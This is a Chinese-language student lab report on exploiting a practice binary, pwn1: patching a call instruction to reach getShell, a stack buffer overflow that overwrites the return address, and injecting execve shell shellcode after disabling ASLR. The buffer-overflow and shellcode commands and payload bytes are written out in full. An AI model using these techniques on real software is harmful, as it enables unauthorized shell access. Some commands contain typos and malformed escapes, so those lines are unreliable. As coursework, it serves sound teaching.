1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
2.实践过程
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
下载pwn1,放置在kali的桌面,输入指令:objdump -d pwn1,开始对pwn1进行反汇编
根据反汇编结果,我们找到pwn1所使用的getshell、foo、main这三个函数,先分析main函数的汇编指令
当main函数按顺序执行到80484b5时,会执行机器指令:e8 d7 ff ff ff,执行汇编指令call 8048491
e8和call对应汇编指令call对应的机器指令是e8,8048491 代表foo函数➡foo函数的偏移地址是d7 ff ff ff
这里的EIP地址为80484ba,则call指令跳转的fall函数入口地址(0x08048491)=执行call指令时的EIP地址(0x080484ba)+偏移量(0xffffffd7)。
可以计算出call指令跳转到getshell函数所需的偏移量=getshell
函数入口地址(0x0804847d)-执行call指令时的EIP地址(0x080484ba)。
0x0804847d-0x080484ba=0xffffffc3
改变程序执行流程,直接跳转到getShell函数的方法是:将e8 d7 ff ff ff改为e8 c3 ff ff ff
先备份一份pwn1文件,命名为:pwn2823
输入指令vim pwn2823,用vim打开pwn20211914
输入指令::%!xxd把乱码转换为16进制
找到需要修改的e8 d7 ff ff ff中的d7,按a进入修改,然后将d7改为c3,
输入指令:objdump -d pwn2823,对pwn2823进行反汇编,检查刚才的修改是否成功
运行pwn2823,发现通过调用getshell函数获得了shell,说明我们成功按要求改变了程序执行流程
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入指令:objdump -d pwn1,对pwn1进行反汇编,然后找到foo函数的汇编指令
使用命令apt install gdb安装,再输入命令“gdb pwn1”调式程序
运行这个文件,输入有规律的字符串“1111111122222222333333334444444455555555666666”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出
查看寄存器eip的值,发现输入的后几位的数字覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
输入 (cat input; cat) | ./pwn1 input
2.3注入一个自己制作的shellcode并运行这段shellcode。
首先安装execstack:apt-get install execstack
设置堆栈可执行:execstack -s pwn1
查询文件的堆栈是否可执行:execstack -q pwn1
查询是否关闭地址随机化:more /proc/sys/kernel/randomize_va_space
关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
查询是否关闭地址随机化:more /proc/sys/kernel/randomize_va_space
输入命令
perl-e'print"A"x32;print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
进行注入
注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”pwn的进程2922
attach 2922命令启动gdb调试这个进程,并输入指令:break *0x080484ae,对foo函数的运行设置断点
输入cat input_shellcode; cat) | ./pwn1,将自己刚才制作的shellcode作为pwn的输入注入文件
运行可发现这段自己制作并注入的shellcode攻击成功,最后成功得到了shell
3.学习中遇到的问题及解决
- Q1:Linux 下apt-get install 出现Could not get lock /var/lib/dpkg/lock-frontend
- A1:需要sudo su
- Q2:kali无法输入中文
- A2:打开文件夹直接复制路径
- Q3:
- A3:更新源
4.实践总结
本次实验主要是设法运行可执行文件的代码片段,制作并注入shellcode,对注入攻击的知识以及汇编语言等掌握的熟练,在实验过程中需要不停的查询资料,以至于实验过程非常漫长